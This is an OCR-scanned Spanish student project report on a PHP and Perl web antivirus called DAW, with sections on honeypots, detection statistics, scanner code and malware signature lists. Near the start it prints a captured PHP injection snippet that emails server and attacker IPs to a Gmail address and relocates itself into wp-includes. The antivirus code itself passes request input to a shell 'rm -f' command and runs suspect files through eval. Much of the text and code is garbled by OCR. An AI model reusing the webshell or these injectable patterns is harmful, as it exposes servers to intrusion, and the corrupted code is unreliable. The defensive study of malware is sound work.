/rPJLP8YGSJHDGZy3bYEhA1jo6tihhq4I36F 1bréjYtUoSNwu2Zx6pwFpfrM7 AacvhdXx300D04BRhleMGjg69hhLvFuyckZvDXN3zulrO0xgN/HRde V7 EIRt53SWawKWpwiyQQO16tVSaqYAbkge4 FxSWiYzJhj4gk4QbUCylgi -
Nwfl APuX0ANVAN/aFRGEANGERhINIKAK e ilhirXniF51sTAHAz T ARvad.IRP. X Sa s Ri larVAiDrmWNA. v ZdmaRnaRrNV/GAFNOARCT RnKe AARE Seyh FyCGmAX AL hNnd AvvE7FtNeNO 71 7Ia0OMOPNFVE VOO vhinyz7He W HR="11-
Tipo de Compresion

Sin compresion gzinflate ' gzuncompress

Tipo de Codificacion
Sin codificar 'base64

| Enviar | Borrar
Resultado del codigo PHP introducido:

error_reporting(8);

if (!isset($ SESSION['bajak'l)) {

Svisitcount = @;

Sweb = $ SERVER["HTTP_HOST"1;

$inj = $_SERVER["REQUEST_URI"I;

Sbody = "ada yang inject \n$web$inj";

$safemdde = @ini_get('safe_mode');

if (!$safem@de) {$security= "SAFE_MODE = OFF";}
else {$security= "SAFE_MODE = ON";};
$serper=gethostbyname($ SERVER['SERVER ADDR']);
$injektor = gethostbyname($_SERVER['REMOTE_ADDR']);
mail("actcrewd@gmail.com”, "Sbody","Hasil Bajakan http://$web$inj\n$security\nIP Server = $serper\n IP Injector= $injektor");
S _SESSION['bajak'l = @;

else {$ SESSION['bajak'l++;};

if(isset($_GET['clone'1)){

$source = $_SERVER['SCRIPT_FILENAME'I;

$desti =5 _SERVER['DOCUMENT_ROOT']."/wp-includes/wp-simple.php";
rename(Ssource, $desti);

}

$safemdde = @ini get('safe mode');
if (!$safem@de) {$security= "SAFE_MODE : OFF";}

Adicionalmente hay enlaces para acceder a las webs comentadas como
un anadido a la Desencriptacion.

eval(gzinflate(base64_decode('88jPSVTwLc1LyQcA'))) >>> “Hola Mundo”
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Variabilidad Virica

Tenemos que tener muy presente, que normalmente las amenazas a nivel
Web son enfocadas a los diferentes usuarios.

Cada web es distinta, y por ello cada amenaza muta y se transforma para
asi llegar a infectar con el mayor porcentaje de éxito la mayoria de webs.

Y por el mismo motivo, el Antivirus Web ha de mutar y adoptar diferentes
puntos de vista, con la finalidad de abarcar al maximo todas las
amenazas que van surgiendo.

Para combatir esta realidad detras de un buen software como es el
Antivirus Web, hay un equipo de técnicos que van mejorando las
heuristicas y aprendiendo de los casos de amenazas que nos llegan a
diario a la empresa, y con los que tenemos que lidiar.

Es el momento de hablaros un poco mas de cerca del HoneyPot.
El HoneyPot, es como bien dice la palabra, un tarro de miel.

Un foco perfecto para atrapar amenazas y estudiarlas, vamos a ver como
seria su funcionamiento:

1- Se medita sobre un cierto tipo de brecha de seguridad de la
que se pretende obtener mas datos sobre las amenazas que
pretenden explotar estas vulnerabilidades.

2- Se monta un equipo absolutamente alejado e independiente
de la red de equipos, para evitar que la amenaza salte.

3- Se instala el software necesario en el equipo sin parchear, en
caso de que se pudiera, la vulnerabilidad que queremos
estudiar.

4- Se ponen diferentes tipos de software para capturar
instantaneas del sistema cada cierto periodo, y para estudiar
cada cambio que se lleva a cabo en el sistema.

5- Esperar >>> Es realmente sorprendente la velocidad con la
que una amenaza encuentra una vulnerabilidad.

6- Posteriormente se procede a esperar que la vulnerabilidad
haga lo que tenga que hacer, hasta que acabe o entre en
bucle infinito.

7- Se recauda la informacion para saber el como lo hace, para
saber por donde ha entrado, a que zona ha atacado, y en si
cada iteracion en el recorrido y finalidad de la amenaza.
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Conclusiones

Sobre el Proyvecto

Al empezar el proyecto, con un equipo competente y preparado, y nada
mas salir de la carrera...

Puede asustar un poco, sin haber dado practicamente nada de seguridad,
ponerse a hacer un Antivirus, quiza no parezca lo mas razonable.

Pero luego te encuentras un gran proyecto, interesante y complejo, pero
sobretodo util, y poco a poco te pones a desarrollarlo junto a tu equipo,
cada uno se encarga del modulo escogido, pero ayudandose mutuamente
por ejemplo a la hora de la interconexion entre estos.

Y al final, después de un gran proyecto, y de una gran aventura, lo
pruebas y lo pone en practica, en cada servidor de la empresa, para sacar
estadisticas y de pronto descubres...

jQue funciona!

Que todo el esfuerzo tenia un sentido, y que estas orgulloso se haber
formado parte de un proyecto, que tiene una utilidad, y que esta
generando beneficios, al reducir las pérdidas.

Se necesitaba un Antivirus Web, para reducir el SPAM como principal
amenaza, y para combatir otras muchas.

El DAW aun sigue en proceso, se sigue mejorando y aun esta
evolucionando...

Quedan otros modulos por completar, y partes que ampliar.

Como un gran equipo hemos creado DAW, Destructor de Amenazas Web.
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Estadisticas

Después de dedicar 6 meses a la utilizacion del DAW, se han podido
obtener las estadisticas siguientes:

B WORDPRESS H JOOMLA DRUPAL

Ocurrencias de las Amenazas por CMS

Se han detectado 9495 Amenazas en los 6 meses que lleva en
funcionamiento.

Reduciendo un 92% el SPAM en los servidores.
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En los Anexos, estaran adjuntadas imagenes de otros moédulos del
Antivirus Web, mi companero Rafa ha sido el encargado principalmente
de desarrollar los codigos de los Anexos.

Estan adjuntados con la tinica finalidad de mostrar algo de codigo del
Antivirus Web.

Teniendo que destacar, que no es la version actual, sino la primera, y
que por temas de privacidad de la empresa, no se mostraran ni las
firmas conseguidas, ni las listas blancas o negras.

Asi mismo cabe destacar que ciertos mecanismos y procedimientos de
busqueda y borrado del Antivirus Web, no estaran presentes en el
proyecto.
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Ahexos

Codigo del AntiVirus Web — Primera Version

Escaner (index.php):
Carga de ficheros.def:

//CARGADO DE FICHEROS
function load defs($file, $x, $debug) {

sdefs = file(sfile);
$counter = 8;
$counttop = sizeof($defs);

while ($counter < $counttop) {
$defs[$counter] = explode(' ', Sdefs[$counter]);
$counters++;

}
if (%debug && $x=="viruses")

echo '<p=Consultados <strong=' . sizeof($defs) . '</strong= virus de la base de datos</p=';
if (%debug && $x=="signatures")
echo '<p=Consultadas <strong=' . sizeof($defs) . '</strong> heuristica de 1la base de datos</p=';

return sdefs;

Esta funcion simplemente abre los ficheros .def para la comparacion de
cadenas posterior (si hay debug, muestra un texto explicativo).

Recorrer carpetas y acceder a sus ficheros:

// ESCANEADO DE FICHEROS
function file scan($folder, $defs, $signatures, $debug) {
global $dircount, $report;
$dircount++;
if (4$debug)
$report .= "<p class=\"d\"=Escaneando carpeta $folder ...</p>";
if ($d = @dir(%folder)) {
while (false !== ($entry = $d->read())) {
$isdir = @is _dir($folder.'/"'.%entry);
if (!$isdir and $entry!='.' and $entry!='..' and stripos(4$folder,’'cuarentena')==false) {
virus_check($folder.'/'.%entry, $defs, $signatures, $debug};
} elseif ($isdir and $entry!='.' and $entryl!='..") {
file scan(4$folder.'/'.$entry, $defs,$signatures, $debug);
}

}
¢d-=close();

Se encarga de recorrer las carpetas desde la raiz (indicada en
“config.php”), ignorando algunas excepciones anadidas por seguridad
ante falsos positivos, y ver si son escaneables.
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Comprobar la existencia de virus en ficheros:

1/ COMPROBACION DE VIRUS /EXPRESIONES REGULARES
function virus check($file, $defs, $signatures ,Sdebug) {
global $filecount, $infected, $report, $CONFIG, $clean Tiles, $new log,$link;

$scannable = 0;
foreach ($CONFIG['extensions'] as $ext) {
if (substr(s$file,-3)==%ext)
$scannable = 1;

}

if(basename($file) == "mylog.txt" || basename($file) == "inspector.php" || basename($file) == basename($ SERVER["SCRIPT FILENAME"]))
$scannable = 9;

if ($scannable) {
$filecount++;
$data = file($file);
$data = implode('\r\n', $data);
$clean = 1;
$print = 1;
$file infected = 8;

// Comparacion contra: Base de Datos de Virus
for ($i = 0; $i < sizeof($defs); $i++) {
$pos = stripos($data, trim($defs[$i][1]));

if ($pos !== false ){

$report .= '<p class="r"=Infectado: ' . $file . ' (' . $defs[$i][0] . ')</p=';
if($new log==1)
shell exec('echo "Infectado: ' . $file . '" >> mylog.txt');
$report .= '<p class="r2">Cadena comprometida--> "' . trim($defs[$i][1]) . "" en la posicidn: ' . $pos . '</p>';
if($new log==1)
shell exec('echo "Cadena comprometida--= ' . trim($defs[$i][1]) . ' en la poisicién: ' . $pos . '" >> mylog.txt');

$fecha = New DateTime();
date timestamp set($fecha, filemtime($file));

$report .= '<p class="r2"=Ultima fecha modificacidén: ' . date format($fecha, 'd-m-¥Y H:i:s') . '</p=";
if($new log==1)
shell exec('echo "Ultima fecha modificacion: ' . date format($fecha, 'd-m-Y H:i:s') . '" >> mylog.txt');

$owner = posix getpwuid(fileowner($file));
$permisos = fileperms($file);
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// Formatear permisos
if (($permisos & BxCOER) == OxCOB0) {

$info = 's';
} elseif (($permisos & OxAGB0) == OxAB00) {
$info = '1';
} elseif (($permisos & 0x8000) == 0x8000) {
$info = '-';
} elseif (($permisos & Ox6000) == Ox6000) {
$info = 'b';
} elseif (($permisos & 0x4000) == 0x4000) {
$info = 'd';
} elseif (($permisos & 0x2000) == 0x2000) {
$info = 'c';
} elseif (($permisos & 0x1000) == 0x1008) {
$info = 'p';
} else {
$info = 'u';
}
$info .= (($permisos & GxB180) ? 'r' : '-');
$info .= (($permisos & OxPO8O) ? 'w' : '-');
$info .= (($permisos & ©x0040) ?
(($permisos & Ox0880) ? 's' : 'x' ) :
(($permisos & Ox0808) ? 'S' : '-')});
$info .= (($permisos & Ox8620) ? 'r' : '-');
$info .= (($permisos & OxB8010) 7 'w' -t);
$info .= (($permisos & OxBOA8) 7
(($permisos & Ox0468) ? 's' : 'x' ) :
(($permisos & Ox0408) ? 'S' : '-'));
$info .= (($permisos & OxBEB4) ? 'r' : '-');
$info .= (($permisos & OxPOBZ) 7 'w' L I
$info .= (($permisos & @xE001) ?
(($permisos & Ox0280) ? 't* : 'x" ) :
(($permisos & ©x0200) ? 'T" : *-'));
$report .= '<p class="r2"=Permisos: ' . substr(sprintf("%o",fileperms($file)},-4} . ' ' . %info . '</p=';
if($new log==1)
shell exec('echo "Permisos: ' . substr(sprintf("%o",fileperms($file)}),-4) . ' ' . $info . '" => mylog.txt');
$report .= '<p class="r2"=Propietario: ' . $owner['name'] . '</p=';
if($new log==1)
shell_exec('echo "Propietario: ' . $owner['name'] . '\n" >> mylog.txt');
$report .= '<a id="' . $file . '"><buttonsVer Cdédigo</button></a><br><br>';

$file infected = 1;

$clean = 0;
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// Comparacion contra: Expresiones regulares
for ($1i = B; $1 < sizeof($signatures); $i++) {
$matches = preg match(trim($signatures[$i][1]},$data);

if ($matches 1== 0){
$report .= '<p class="r">Codigo malicioso: ' . $file . ' (' . $signatures[$i][®] . ')</p=";
if($new_log==1)
shell exec('echo "Codigo malicioso detectado: ' . $file . '\n" >> mylog.txt');

$file_infected = 1;
$clean = 0;

if ((%debug)&&($clean))
$report .= '<p class="g">Limpio: ' . $file . '</p>';

if($file infected == 1)}{
$md5=shell exec('md5sum '.4$file.’| cut -d " " -f -1"};
$nombre=basename($file);

snombre=trim($nombre);
smd5=trim($md5);
sfile=trim($file);

$sql="INSERT IGNORE INTO archivos (nombre, md5, ruta) VALUES ('".$nombre."','".$md5."",'".$file.""')";
$resultado=mysqli query($link,%$sql) or die ('Fallo al hacer Insert'.mysqli error());
if(is_dir('cuarentena’)==false)

mkdir('cuarentena’,8777);
copy($file, 'cuarentena/'.$nombre);
$infected++;

Esta es la parte mas importante, la encargada de recorrer cada fichero
del directorio, y comprobar contra cada posible cadena maliciosa alojada
en “virus.def” y “signatures.def”.

Si existen coincidencias marca el fichero como peligroso (para asignarle
un color rojo, anadirlo al diario y copiarlo a cuarentena) mientras que si
parece no estar infectado lo marca como limpio (para asignarle un color
verde y descartarlo).

Si es marcado como infectado, a parte, se genera una lista de detalles
sobre el archivo, y se crean unos botones para poder acceder al
“inspector.php” y decidir si modificarlo o borrarlo, de manera manual.
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Eliminar el fichero seleccionado:

LITTTTITTTIIL LTI LTI T i ririiiiiiiliririiiiriiiiig,
$file to remove = $ GET["r"];
if($file to remove!='"){

$file to remove = htmlspecialchars($ GET["r"]);

$shell code = 'rm -f ' . $file to remove;

shell exec($shell code);

}

gy T

Si se ha seleccionado un fichero para borrar desde el inspector, éste se
encarga de eliminarlo.

Variables globales y carga de configuracion:

PILEEERIIFIETEELELELRLEET P TLEL TP IR EE LT AT I ILT LA L EL AL ETAE R LTI I T ELELLd 111717177777 /Configuracién Inicial

$CONFIG = Array();

$CONFIG['debug'] = 8;

$CONFIG[ 'scanpath'] = $ SERVER['DOCUMENT ROOT'];
$CONFIG['extensions'] = Array();

@include("config.php");

if (icheck defs('virus.def'))
trigger error("Sobrescritura vulnerable en la base de datos de virus, porfavor cambia los permisos.", E_USER ERROR);

if (!check defs('signatures.def'}))
trigger error("Sobrescritura vulnerable en la base de datos de virus, porfavor cambia los permisos.", E_USER ERROR);

IFTLERREEIETRE LT AL TE AL EIEEREE LI EEDEE A0 T0 00 EEE I A I 1000700000777 F77170114171//Inicializacion de variables

$report = '*;
$dircount = 0;
$filecount = @;
$infected = 0;
$new log = 0;

Esta parte del codigo es la encargada de inicializar las variables globales
del antivirus, y cargar los “.def” que serviran para detectar las
infecciones.
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Creacion del diario una vez cada 24 horas:

J//Comprobar si el fichero de log tiene mas de 7 dias y borrarlo

$today ts = time();
$log ctime = shell exec("stat -c '%Z' mylog.txt");

$diff sec = $today ts - $log ctime;

$diff:day5 = $diff sec / (60 * 60 * 24);
$diff days = abs($diff days);
$diff days = floor($diff days);

if($diff days==1){
shell exec("rm -f mylog.txt");
$new log = 1;

L

Se encarga de comprobar si han pasado las 24 horas y si esto es cierto
borra el archivo “mylog.txt” para que la siguiente pasada del escaner lo
vuelva a crear nuevo.

Inspector (inspector.php):

Editar fichero:

$new text = htmlspecialchars($ GET["nc"]);
file put contents($filename, $new text);

Funcion encargada de cambiar el contenido del fichero que esta siendo
editado, si se ha apretado el boton “Guardar Cambios”.
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Mostrar el fichero v ejecutarlo:

renderhead();
$filename = htmlspecialchars{$ GET["p"]1);
$fp = file($filename);

echo '<hl id="prueba" class="top-labels"=Archivo "=/hl=";
echo '<hl=Coédigo Original:</hl=<br=';
echo '<textarea id="bloguel" class="col-md-10 col-md-offset-1 code" style="margin-top=8px"=";

foreach ($fp as $num linea == $fp) {
echo himlspecialchars{$fp);

}

echo '</textarea><button id="save btn" class="col-md-2 col-md-offset-3 btn btn-primary">Guardar Archivo</button=
<pbutton id="delete btn" class="col-md-2 col-md-offset-2 btn btn-danger"=Eliminar Archivo</button=<br>';

echo '<hl style="display:inline-block" class="col-md-4 col-md-offset-4">Cddigo Decodificado:</hl><br>';
echo '<div id="blogque2" class="col-md-10 col-md-offset-1 code" style="min-height:@px">";

$fp = file get contents($filename);

$cadena="preg_replace";

$php code = str_replace("<?php","",$Tp);

$php_code = str_replace("?>","",$php_code);

$php code = str_replace("<?","",$php code);

$php_code = preg_replace("/GIF.*?\n/","",$php code);
$php code = preg replace('/\s+/', '', $php code);
$php_code = preg_replace("/.*eval/"," eval",$php code);

$busgqueda=strpos($php_code, $cadena) ;

if($busqueda !== false){
$sequ = str_replace("eval”,"echo",$php _code);
ob_start();
eval($sequ);
$a = ob_get clean();
$text = stripcslashes(nl2br(htmlentities(3$a)));
echo $text;

}else {
$seqgu = str_replace("eval”,"echo",$php _code);
ob_start();
eval($sequ);
$a = ob_get clean();
$text = stripcslashes(nl2br(htmlentities($a)));
echo $text;

}
echo '=/divs";

echo '<div id="texto intento" class="col-md-4 col-md-offset-1" style="display:none; padding-left:@px; margin-top:1@px">5in embargo,

prueba a ejecutar en <a href="http://ddecode.com/phpdecoder/" style="text-decoration:none">http://ddecode.com/phpdecoder/</a> el codigo original.</div>";
echo '<hl style="display:inline-block" class="col-md-4 col-md-offset-4">Cédigo Ejecutado:</hl><br>";

echo '<div id="bloque3" class="col-md-16 col-md-offset-1 code" style="max-height:800px; min-height:0px; margin-bottom:50px">";

if(stext!="" || $php code!=""}{
ob_start();
eval($php_code);
ob_end_flush();

}

echo '</div=";
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En esta seccion se crean 3 bloques, el encargado de mostrarnos el fichero
original sin ninguna modificacion, un segundo bloque con el contenido
tras una decodificacion, y por ultimo un bloque para ver como seria lo
que se visualizaria si se ejecutara dicho codigo. Si falla la decodificacion
te recomienda un enlace donde puedes intentar copiar y pegar el original
y ver si ese decodificador consigue un resultado. Por ultimo te muestra
los botones de editar y borrar.

Funcion para la decodificacion del codigo ofuscado:

//DECODIFICACION DE LOS FICHEROS

function preg decode($texto){
$11= preg_replace('/preg replace\ (\"\/\.\*\/e\"\,\"/', "', $texto);
$12= preg_replace('/\'.=/', '', $l1);
$13= 'print "'.$12.'";";
$l4= preg_replace('/~.*\'/' ,'", $1l1);
$15= preg_replace('/\".*/' ,'' ,$14);
$16= 'print "'.$15.'";";
$17= preg_replace('/~.*7\'/","'"",$11);
$18= preg_replace('/\'.*/',"'"",517);
ob start();
echo eval($13);
echo "$18";
echo eval($l6);
$resultado=ob get clean();
return $resultado;

Funcion utilizada junto la pagina de “UnPHP.net” para decodificar los
ficheros ofuscados.

Configuracion (config.php):

// MODO DEBUG

(i sooesEmons

// Esta opcidn nos permitira ver el resultado del scaneo en
// profundidad, o simplemente un resumen a grandes rasgos.
// Resumen -> $CONFIG['debug'] = ©;

// Detalles -= $CONFIG['debug'] = 1;

$CONFIG[ 'debug'] = 1;

// RUTA DEL DIRECTORIO A ESCANEAR

e e

// Agui se trabaja sobre el directorio que gueremos escanear
// gue por lo general es la raiz del servidor web en el que
// el antivirus trabaja, pero también se puede cambiar el

// directorio por otro diferente al que se tenga acceso.

$CONFIG['scanpath'] = $ SERVER['DOCUMENT ROOT'];
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// ARCHIVOS ESCANEABLES

i sesccoososooooooooDs

// Agui se especifican que archivos se podran escanear

// al pasar el antivirus, dado que puede ser que no te interese
// escanear ciertos archivos con un tipo de extensidn concreta.
// Ejemplo : ".html" -> $CONFIG['extensions'][] = "html"’;

// Archivos WEB

$CONFIG[ 'extensions'][] = "htm';
$CONFIG['extensions'][] = "html';
$CONFIG['extensions'][] = "shtm’;
$CONFIG[ 'extensions'][] = 'shtml®;
$CONFIG[ 'extensions'][] = "xml’';
$CONFIG['extensions'][] = 'json’;
$CONFIG[ 'extensions'][] = 'css';
$CONFIG['extensions'][] = "js';
// Archivos PHP
$CONFIG['extensions'][] = 'php';
$CONFIG['extensions'][] = 'php3‘;
$CONFIG['extensions'][] = "php4’;
$CONFIG['extensions'][] = 'php5';
// Archivos de TEXTO

$CONFIG[ 'extensions'][] = "txt';
$CONFIG['extensions'][] = 'pdf';
$CONFIG[ 'extensions'][] = 'rtf';
SCONFIG[ 'extensions' ][] = 'doc’';
$CONFIG[ 'extensions'][] = 'docx';
$CONFIG[ 'extensions'][] = 'odt';
$CONFIG[ 'extensions'][] = 'log';
$CONFIG[ 'extensions'][] = 'conf';
$CONFIG[ 'extensions'][] = 'config';
// Archivos de DATOS

$CONFIG[ 'extensions'][] = "db';
$CONFIG[ 'extensions'][] = 'odb’';
$CONFIG[ 'extensions'][] = "csv';
$CONFIG[ 'extensions'][] = 'dat’;
$CONFIG['extensions'][] = 'sqgl';

// Archivos de PROGRAMACION

$CONFIG['extensions'][] = "perl’;
$CONFIG[ 'extensions'][] = "sh';
$CONFIG[ 'extensions'][] = 'bat';
$CONFIG[ 'extensions'][] = 'exe';

// Archivos de IMAGENES

SCONFIG[ 'extensions'][] = 'png';
SCONFIG[ 'extensions'][] = 'jpeg';
$CONFIG[ 'extensions'][] = "jpg';
$CONFIG['extensions'][] = 'gif"';
$CONFIG[ 'extensions'][] = 'bmp';
$CONFIG['extensions'][] = 'raw';
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Este fichero es el que contiene la configuracion del antivirus, que nos
permite decirle al antivirus que archivos abrir, la ruta de escaneo, y la
profundidad de la informacion a mostrar por el antivirus.

Definicion de expresiones regulares (signatures.def):

Ejemplo:

Ipangerous regex -matching /Ae\Tphp.*(eval\((gzinflate|base64 decode)\((gzinflate|base64 decode))|(if.*\(isset)/

Simples expresiones regulares con su texto asignado que nos permiten
localizar posibles peligros, si al pasar el “preg match” se encuentra
alguna coincidencia en los archivos del servidor web.

Definicion de Virus (virus.def):

Ejemplo:

Suspicious code at 96% preg replace('/.*/e"

Suspicious code at 96% preg replace('/.*/e’

Suspicious code at 96% preg replace("\x2F\x2E\Xx2A\X2F\x65"

Suspicious code at 90% \x65\x76\X61\xX6C\x28

Suspicious code at 90% \x67\xTA\x69\xBE\x66\x6C\x61\x74\x65\x28

Suspicious code at 90% \x62\x61\x73\xX65\x36\x34\x5F\x64\x65\x63\x6F\ x84\ x65 %28
Suspicious code at 90% \x2F\x2E\X2A\X2F\x65

Suspicious code at 96% die(PHP 0S.chr(49).chr(48).chr(43).md5(0987654321
Suspicious code at 98% strrev('edoced 46esab’)

Suspicious code at 96% if (( preg match ('/Gecko|MSIE/i', $wp lcr95795) &k !preg match ('/bot/i',
Suspicious code at 96% $wp Llcro5795))){

Suspicious code at 90% PCT4BA60DSE

Suspicious code at 90% eval(base64 decode(

Suspicious code at 98% eval((base64 decode(

Suspicious code at 90% system(base64 decode(

Suspicious code at 90% eval(gzinflate(

Suspicious code at 90% eval((gzinflate(

Suspicious code at 98% eval(gzuncompress(base64 decode|

Suspicious code at 98% edoced 46esab

Suspicious code at 90% shell exec (esto marca demasiados scripts)

Estas cadenas de texto, han sido encontradas como causantes de
infeccion en web, por tanto han sido clasificadas como maliciosas, y su
completa deteccion en un archivo nos indica que casi casi seguro dicho
archivo es un virus, y ha sido montado para que se refleje como texto del
virus la parte izquierda de los pares de datos.
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AntiVirus Web - Pearl

Se cambio el antiguo Antivirus en PHP y JavaScript por PERL para que
fuera compatible con servidores mas antiguos.

sub recursion {

my ($dir) = @_;

my (@list);

if (lopendir(I, "Sdir")}) {
return if %! =~ /no se encuentra el fichero/di;
print STDERR "%dir: Permiso denegado: %!, pasando al siguientein";
return;

}

@list = readdir(I);

closedir{I);

for my smfile {@list) {
mext if smfile =~ (8N N.75/;

my 5cf = Scurrentfile = "Sdir/smfile";
gcf =~ 5.!'”.'“"'“'."'E;
$'C'F = “'$CF'";

#2EF%F LISTA BLANCA ##zgs

if (-f Scurrentfile) {

my Schecksum = "~ #md5sum $cf’;
chomp{schecksum) ;

Schecksum =~ s/\s.%//3

if (swhite{$fchecksum}) {

next;
}
}
Fiadd LISTA HEGRA #EER#

if (-f Scurrentfile) {

my Schecksum = "~ smdSsum $cf’;
chomp($checksum) ;

Schecksum =~ s/h\s.x//;

if (sbhlack{schecksum}) {

print "Scurrentfile: Archivo en Lista Hegra!in";

next;

}
}
HEEREHEEFRaa R ERE
if (-d $currentfile && ! -1 $currentfile) {
Lrecursion(scurrentfile);
next;

}
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next if ! —f Scurrentfile;
if (&mfile =~ fSscripts/) {
&scanfile(3currentfile, S$scriptpat);
} elsif (dmfile =~ [Saccess/) {
&scanfile(currentfile, Saccesspat);
}
next if -s $curfentfile > 10080080 || -s Scurrentfile < 2080;
my $type = "&file %cf’;
}
}

sub scanfile {
my (Scurrentfile, Spatterns) = @_;
open(I, "<Scurrentfile"} || next;
my 5Llinecount = 1;
while{<Iz) {
chomp;
if (5 =~ f4patterns/) {
my spat = 31;
my $string = % ;3
print "Scurrentfile: Cadena sospechosa (%pat):\n $stringinin";
last;
)
last if $linecount++ > SMAXLINES;
}
close(I);
}
sub inithelpers {
if (-x '"fusr/bin/md5sum"} {
fmd5sum = "Jfusr/bin/md5sum’ ;
} elsif (-x '/sbin/md5'} {
EmdSsum = ' /shin/mds -q';
1
for my 5x (('/bin', "fusr/bin"}) {
if (-x "Sx/strings") {
§strings = "$x/strings";
1
if (-x "sx/file") {
tfile = "sx/file";
1
1
die "Moo se ha podido encontrar una herramienta para comparara Llos codigos md3" if !5$mdSsum;
die "Moo se ha encontrado ninguna cadena de comparacion" if !#strings;
die "No se ha podido encontrar el archivo especificado" if !5file;
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